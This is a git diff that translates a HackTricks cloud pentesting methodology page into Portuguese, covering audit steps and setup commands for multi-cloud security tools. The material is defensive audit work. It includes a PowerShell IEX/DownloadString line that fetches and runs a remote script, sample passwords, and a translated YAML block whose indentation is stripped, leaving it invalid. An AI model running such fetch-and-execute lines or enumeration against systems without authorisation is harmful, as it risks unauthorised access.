**not able to access the content of the Storage accounts** you can fix it with the **role Storage Account Contributor**. +Para iniciar os testes, você deve ter acesso com um usuário com **permissões de Leitor sobre a assinatura** e **papel de Leitor Global no AzureAD**. Se mesmo assim você **não conseguir acessar o conteúdo das contas de Armazenamento**, você pode corrigir isso com o **papel de Contribuidor de Conta de Armazenamento**. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index 0be67db54..db1263aad 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -1,48 +1,47 @@ -# Pentesting Cloud Methodology +# Metodologia de Pentesting em Nuvem {{#include ../banners/hacktricks-training.md}}
-## Basic Methodology +## Metodologia Básica -Each cloud has its own peculiarities but in general there are a few **common things a pentester should check** when testing a cloud environment: +Cada nuvem tem suas peculiaridades, mas, em geral, há algumas **coisas comuns que um pentester deve verificar** ao testar um ambiente em nuvem: -- **Benchmark checks** - - This will help you **understand the size** of the environment and **services used** - - It will allow you also to find some **quick misconfigurations** as you can perform most of this tests with **automated tools** -- **Services Enumeration** - - You probably won't find much more misconfigurations here if you performed correctly the benchmark tests, but you might find some that weren't being looked for in the benchmark test. - - This will allow you to know **what is exactly being used** in the cloud env - - This will help a lot in the next steps -- **Check exposed assets** - - This can be done during the previous section, you need to **find out everything that is potentially exposed** to the Internet somehow and how can it be accessed. - - Here I'm taking **manually exposed infrastructure** like instances with web pages or other ports being exposed, and also about other **cloud managed services that can be configured** to be exposed (such as DBs or buckets) - - Then you should check **if that resource can be exposed or not** (confidential information? vulnerabilities? misconfigurations in the exposed service?) -- **Check permissions** - - Here you should **find out all the permissions of each role/user** inside the cloud and how are they used - - Too **many highly privileged** (control everything) accounts? Generated keys not used?... Most of these check should have been done in the benchmark tests already - - If the client is using OpenID or SAML or other **federation** you might need to ask them for further **information** about **how is being each role assigned** (it's not the same that the admin role is assigned to 1 user or to 100) - - It's **not enough to find** which users has **admin** permissions "\*:\*". There are a lot of **other permissions** that depending on the services used can be very **sensitive**. - - Moreover, there are **potential privesc** ways to follow abusing permissions. All this things should be taken into account and **as much privesc paths as possible** should be reported. -- **Check Integrations** - - It's highly probably that **integrations with other clouds or SaaS** are being used inside the cloud env. - - For **integrations of the cloud you are auditing** with other platform you should notify **who has access to (ab)use that integration** and you should ask **how sensitive** is the action being performed.\ - For example, who can write in an AWS bucket where GCP is getting data from (ask how sensitive is the action in GCP treating that data). - - For **integrations inside the cloud you are auditing** from external platforms, you should ask **who has access externally to (ab)use that integration** and check how is that data being used.\ - For example, if a service is using a Docker image hosted in GCR, you should ask who has access to modify that and which sensitive info and access will get that image when executed inside an AWS cloud. +- **Verificações de Benchmark** +- Isso ajudará você a **entender o tamanho** do ambiente e **serviços utilizados** +- Também permitirá que você encontre algumas **configurações incorretas rápidas**, pois você pode realizar a maioria desses testes com **ferramentas automatizadas** +- **Enumeração de Serviços** +- Você provavelmente não encontrará muitas mais configurações incorretas aqui se tiver realizado corretamente os testes de benchmark, mas pode encontrar algumas que não estavam sendo procuradas no teste de benchmark. +- Isso permitirá que você saiba **o que está exatamente sendo usado** no ambiente em nuvem +- Isso ajudará muito nos próximos passos +- **Verifique ativos expostos** +- Isso pode ser feito durante a seção anterior, você precisa **descobrir tudo que está potencialmente exposto** à Internet de alguma forma e como pode ser acessado. +- Aqui estou considerando **infraestrutura exposta manualmente**, como instâncias com páginas da web ou outras portas sendo expostas, e também sobre outros **serviços gerenciados em nuvem que podem ser configurados** para serem expostos (como DBs ou buckets) +- Então você deve verificar **se esse recurso pode ser exposto ou não** (informações confidenciais? vulnerabilidades? configurações incorretas no serviço exposto?) +- **Verifique permissões** +- Aqui você deve **descobrir todas as permissões de cada função/usuário** dentro da nuvem e como elas são usadas +- Muitas contas **altamente privilegiadas** (controlam tudo)? Chaves geradas não utilizadas?... A maioria dessas verificações já deveria ter sido feita nos testes de benchmark +- Se o cliente estiver usando OpenID ou SAML ou outra **federação**, você pode precisar pedir mais **informações** sobre **como cada função está sendo atribuída** (não é a mesma coisa que a função de admin ser atribuída a 1 usuário ou a 100) +- Não é **suficiente encontrar** quais usuários têm permissões **admin** "\*:\*". Existem muitas **outras permissões** que, dependendo dos serviços utilizados, podem ser muito **sensíveis**. +- Além disso, existem **potenciais caminhos de privesc** a seguir abusando de permissões. Todas essas coisas devem ser levadas em conta e **o maior número possível de caminhos de privesc** deve ser relatado. +- **Verifique Integrações** +- É altamente provável que **integrações com outras nuvens ou SaaS** estejam sendo usadas dentro do ambiente em nuvem. +- Para **integrações da nuvem que você está auditando** com outra plataforma, você deve notificar **quem tem acesso para (ab)usar essa integração** e deve perguntar **quão sensível** é a ação sendo realizada.\ +Por exemplo, quem pode escrever em um bucket AWS de onde o GCP está obtendo dados (pergunte quão sensível é a ação no GCP tratando esses dados). +- Para **integrações dentro da nuvem que você está auditando** de plataformas externas, você deve perguntar **quem tem acesso externamente para (ab)usar essa integração** e verificar como esses dados estão sendo usados.\ +Por exemplo, se um serviço estiver usando uma imagem Docker hospedada no GCR, você deve perguntar quem tem acesso para modificar isso e quais informações sensíveis e acessos essa imagem terá quando executada dentro de uma nuvem AWS. -## Multi-Cloud tools +## Ferramentas Multi-Nuvem -There are several tools that can be used to test different cloud environments. The installation steps and links are going to be indicated in this section. +Existem várias ferramentas que podem ser usadas para testar diferentes ambientes em nuvem. Os passos de instalação e links serão indicados nesta seção. ### [PurplePanda](https://github.com/carlospolop/purplepanda) -A tool to **identify bad configurations and privesc path in clouds and across clouds/SaaS.** +Uma ferramenta para **identificar configurações ruins e caminhos de privesc em nuvens e entre nuvens/SaaS.** {{#tabs }} -{{#tab name="Install" }} - +{{#tab name="Instalar" }} ```bash # You need to install and run neo4j also git clone https://github.com/carlospolop/PurplePanda @@ -54,29 +53,25 @@ export PURPLEPANDA_NEO4J_URL="bolt://neo4j@localhost:7687" export PURPLEPANDA_PWD="neo4j_pwd_4_purplepanda" python3 main.py -h # Get help ``` - {{#endtab }} {{#tab name="GCP" }} - ```bash export GOOGLE_DISCOVERY=$(echo 'google: - file_path: "" - file_path: "" - service_account_id: "some-sa-email@sidentifier.iam.gserviceaccount.com"' | base64) +service_account_id: "some-sa-email@sidentifier.iam.gserviceaccount.com"' | base64) python3 main.py -a -p google #Get basic info of the account to check it's correctly configured python3 main.py -e -p google #Enumerate the env ``` - {{#endtab }} {{#endtabs }} ### [Prowler](https://github.com/prowler-cloud/prowler) -It supports **AWS, GCP & Azure**. Check how to configure each provider in [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) - +Ele suporta **AWS, GCP e Azure**. Verifique como configurar cada provedor em [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) ```bash # Install pip install prowler @@ -91,14 +86,12 @@ prowler aws --profile custom-profile [-M csv json json-asff html] prowler --list-checks prowler --list-services ``` - ### [CloudSploit](https://github.com/aquasecurity/cloudsploit) AWS, Azure, Github, Google, Oracle, Alibaba {{#tabs }} -{{#tab name="Install" }} - +{{#tab name="Instalação" }} ```bash # Install git clone https://github.com/aquasecurity/cloudsploit.git @@ -107,16 +100,13 @@ npm install ./index.js -h ## Docker instructions in github ``` - {{#endtab }} {{#tab name="GCP" }} - ```bash ## You need to have creds for a service account and set them in config.js file ./index.js --cloud google --config ``` - {{#endtab }} {{#endtabs }} @@ -125,8 +115,7 @@ npm install AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Infrastructure {{#tabs }} -{{#tab name="Install" }} - +{{#tab name="Instalar" }} ```bash mkdir scout; cd scout virtualenv -p python3 venv @@ -135,42 +124,36 @@ pip install scoutsuite scout --help ## Using Docker: https://github.com/nccgroup/ScoutSuite/wiki/Docker-Image ``` - {{#endtab }} {{#tab name="GCP" }} - ```bash scout gcp --report-dir /tmp/gcp --user-account --all-projects ## use "--service-account KEY_FILE" instead of "--user-account" to use a service account SCOUT_FOLDER_REPORT="/tmp" for pid in $(gcloud projects list --format="value(projectId)"); do - echo "================================================" - echo "Checking $pid" - mkdir "$SCOUT_FOLDER_REPORT/$pid" - scout gcp --report-dir "$SCOUT_FOLDER_REPORT/$pid" --no-browser --user-account --project-id "$pid" +echo "================================================" +echo "Checking $pid" +mkdir "$SCOUT_FOLDER_REPORT/$pid" +scout gcp --report-dir "$SCOUT_FOLDER_REPORT/$pid" --no-browser --user-account --project-id "$pid" done ``` - {{#endtab }} {{#endtabs }} ### [Steampipe](https://github.com/turbot) {{#tabs }} -{{#tab name="Install" }} -Download and install Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Or use Brew: - +{{#tab name="Instalação" }} +Baixe e instale o Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Ou use o Brew: ``` brew tap turbot/tap brew install steampipe ``` - {{#endtab }} {{#tab name="GCP" }} - ```bash # Install gcp plugin steampipe plugin install gcp @@ -183,13 +166,11 @@ steampipe dashboard # To run all the checks from rhe cli steampipe check all ``` -
-Check all Projects - -In order to check all the projects you need to generate the `gcp.spc` file indicating all the projects to test. You can just follow the indications from the following script +Verificar todos os Projetos +Para verificar todos os projetos, você precisa gerar o arquivo `gcp.spc` indicando todos os projetos a serem testados. Você pode apenas seguir as indicações do seguinte script. ```bash FILEPATH="/tmp/gcp.spc" rm -rf "$FILEPATH" 2>/dev/null @@ -197,32 +178,30 @@ rm -rf "$FILEPATH" 2>/dev/null # Generate a json like object for each project for pid in $(gcloud projects list --format="value(projectId)"); do echo "connection \"gcp_$(echo -n $pid | tr "-" "_" )\" { - plugin = \"gcp\" - project = \"$pid\" +plugin = \"gcp\" +project = \"$pid\" }" >> "$FILEPATH" done # Generate the aggragator to call echo 'connection "gcp_all" { - plugin = "gcp" - type = "aggregator" - connections = ["gcp_*"] +plugin = "gcp" +type = "aggregator" +connections = ["gcp_*"] }' >> "$FILEPATH" echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generated" ``` -
-To check **other GCP insights** (useful for enumerating services) use: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) +Para verificar **outros insights do GCP** (útil para enumerar serviços) use: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) -To check Terraform GCP code: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) +Para verificar o código Terraform do GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) -More GCP plugins of Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp) +Mais plugins do GCP do Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp) {{#endtab }} {{#tab name="AWS" }} - ```bash # Install aws plugin steampipe plugin install aws @@ -246,29 +225,27 @@ cd steampipe-mod-aws-compliance steampipe dashboard # To see results in browser steampipe check all --export=/tmp/output4.json ``` +Para verificar o código Terraform AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) -To check Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) - -More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) +Mais plugins AWS do Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) {{#endtab }} {{#endtabs }} ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite) AWS, GCP, Azure, DigitalOcean.\ -It requires python2.7 and looks unmaintained. +Requer python2.7 e parece não estar mantido. ### Nessus -Nessus has an _**Audit Cloud Infrastructure**_ scan supporting: AWS, Azure, Office 365, Rackspace, Salesforce. Some extra configurations in **Azure** are needed to obtain a **Client Id**. +Nessus tem uma varredura _**Audit Cloud Infrastructure**_ que suporta: AWS, Azure, Office 365, Rackspace, Salesforce. Algumas configurações extras em **Azure** são necessárias para obter um **Client Id**. ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist) -Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers. +Cloudlist é uma **ferramenta multi-cloud para obter Ativos** (Nomes de Host, Endereços IP) de Provedores de Nuvem. {{#tabs }} {{#tab name="Cloudlist" }} - ```bash cd /tmp wget https://github.com/projectdiscovery/cloudlist/releases/latest/download/cloudlist_1.0.1_macOS_arm64.zip @@ -276,46 +253,40 @@ unzip cloudlist_1.0.1_macOS_arm64.zip chmod +x cloudlist sudo mv cloudlist /usr/local/bin ``` - {{#endtab }} -{{#tab name="Second Tab" }} - +{{#tab name="Segunda Aba" }} ```bash ## For GCP it requires service account JSON credentials cloudlist -config ``` - {{#endtab }} {{#endtabs }} ### [**cartography**](https://github.com/lyft/cartography) -Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database. +Cartography é uma ferramenta Python que consolida ativos de infraestrutura e os relacionamentos entre eles em uma visualização gráfica intuitiva alimentada por um banco de dados Neo4j. {{#tabs }} {{#tab name="Install" }} - ```bash # Installation docker image pull ghcr.io/lyft/cartography docker run --platform linux/amd64 ghcr.io/lyft/cartography cartography --help ## Install a Neo4j DB version 3.5.* ``` - {{#endtab }} {{#tab name="GCP" }} - ```bash docker run --platform linux/amd64 \ - --volume "$HOME/.config/gcloud/application_default_credentials.json:/application_default_credentials.json" \ - -e GOOGLE_APPLICATION_CREDENTIALS="/application_default_credentials.json" \ - -e NEO4j_PASSWORD="s3cr3t" \ - ghcr.io/lyft/cartography \ - --neo4j-uri bolt://host.docker.internal:7687 \ - --neo4j-password-env-var NEO4j_PASSWORD \ - --neo4j-user neo4j +--volume "$HOME/.config/gcloud/application_default_credentials.json:/application_default_credentials.json" \ +-e GOOGLE_APPLICATION_CREDENTIALS="/application_default_credentials.json" \ +-e NEO4j_PASSWORD="s3cr3t" \ +ghcr.io/lyft/cartography \ +--neo4j-uri bolt://host.docker.internal:7687 \ +--neo4j-password-env-var NEO4j_PASSWORD \ +--neo4j-user neo4j # It only checks for a few services inside GCP (https://lyft.github.io/cartography/modules/gcp/index.html) @@ -326,17 +297,15 @@ docker run --platform linux/amd64 \ ## Google Kubernetes Engine ### If you can run starbase or purplepanda you will get more info ``` - {{#endtab }} {{#endtabs }} ### [**starbase**](https://github.com/JupiterOne/starbase) -Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database. +Starbase coleta ativos e relacionamentos de serviços e sistemas, incluindo infraestrutura de nuvem, aplicações SaaS, controles de segurança e mais, em uma visualização gráfica intuitiva suportada pelo banco de dados Neo4j. {{#tabs }} -{{#tab name="Install" }} - +{{#tab name="Instalar" }} ```bash # You are going to need Node version 14, so install nvm following https://tecadmin.net/install-nvm-macos-with-homebrew/ npm install --global yarn @@ -359,44 +328,40 @@ docker build --no-cache -t starbase:latest . docker-compose run starbase setup docker-compose run starbase run ``` - {{#endtab }} {{#tab name="GCP" }} - ```yaml ## Config for GCP ### Check out: https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md ### It requires service account credentials integrations: - - name: graph-google-cloud - instanceId: testInstanceId - directory: ./.integrations/graph-google-cloud - gitRemoteUrl: https://github.com/JupiterOne/graph-google-cloud.git - config: - SERVICE_ACCOUNT_KEY_FILE: "{Check https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md#service_account_key_file-string}" - PROJECT_ID: "" - FOLDER_ID: "" - ORGANIZATION_ID: "" - CONFIGURE_ORGANIZATION_PROJECTS: false +- name: graph-google-cloud +instanceId: testInstanceId +directory: ./.integrations/graph-google-cloud +gitRemoteUrl: https://github.com/JupiterOne/graph-google-cloud.git +config: +SERVICE_ACCOUNT_KEY_FILE: "{Check https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md#service_account_key_file-string}" +PROJECT_ID: "" +FOLDER_ID: "" +ORGANIZATION_ID: "" +CONFIGURE_ORGANIZATION_PROJECTS: false storage: - engine: neo4j - config: - username: neo4j - password: s3cr3t - uri: bolt://localhost:7687 - #Consider using host.docker.internal if from docker +engine: neo4j +config: +username: neo4j +password: s3cr3t +uri: bolt://localhost:7687 +#Consider using host.docker.internal if from docker ``` - {{#endtab }} {{#endtabs }} ### [**SkyArk**](https://github.com/cyberark/SkyArk) -Discover the most privileged users in the scanned AWS or Azure environment, including the AWS Shadow Admins. It uses powershell. - +Descubra os usuários mais privilegiados no ambiente AWS ou Azure escaneado, incluindo os AWS Shadow Admins. Ele usa powershell. ```powershell Import-Module .\SkyArk.ps1 -force Start-AzureStealth @@ -405,18 +370,17 @@ Start-AzureStealth IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cyberark/SkyArk/master/AzureStealth/AzureStealth.ps1') Scan-AzureAdmins ``` - ### [Cloud Brute](https://github.com/0xsha/CloudBrute) -A tool to find a company (target) infrastructure, files, and apps on the top cloud providers (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). +Uma ferramenta para encontrar a infraestrutura, arquivos e aplicativos de uma empresa (alvo) nos principais provedores de nuvem (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). ### [CloudFox](https://github.com/BishopFox/cloudfox) -- CloudFox is a tool to find exploitable attack paths in cloud infrastructure (currently only AWS & Azure supported with GCP upcoming). -- It is an enumeration tool which is intended to compliment manual pentesting. -- It doesn't create or modify any data within the cloud environment. +- CloudFox é uma ferramenta para encontrar caminhos de ataque exploráveis na infraestrutura de nuvem (atualmente apenas AWS e Azure suportados, com GCP a caminho). +- É uma ferramenta de enumeração que visa complementar o pentesting manual. +- Não cria nem modifica nenhum dado dentro do ambiente de nuvem. -### More lists of cloud security tools +### Mais listas de ferramentas de segurança em nuvem - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec) @@ -448,14 +412,10 @@ azure-security/ ### Attack Graph -[**Stormspotter** ](https://github.com/Azure/Stormspotter)creates an “attack graph” of the resources in an Azure subscription. It enables red teams and pentesters to visualize the attack surface and pivot opportunities within a tenant, and supercharges your defenders to quickly orient and prioritize incident response work. +[**Stormspotter** ](https://github.com/Azure/Stormspotter) cria um “gráfico de ataque” dos recursos em uma assinatura Azure. Ele permite que equipes vermelhas e pentesters visualizem a superfície de ataque e oportunidades de pivô dentro de um inquilino, e potencializa seus defensores para rapidamente se orientar e priorizar o trabalho de resposta a incidentes. ### Office365 -You need **Global Admin** or at least **Global Admin Reader** (but note that Global Admin Reader is a little bit limited). However, those limitations appear in some PS modules and can be bypassed accessing the features **via the web application**. +Você precisa de **Admin Global** ou pelo menos **Leitor de Admin Global** (mas note que o Leitor de Admin Global é um pouco limitado). No entanto, essas limitações aparecem em alguns módulos PS e podem ser contornadas acessando os recursos **via a aplicação web**. {{#include ../banners/hacktricks-training.md}} - - - -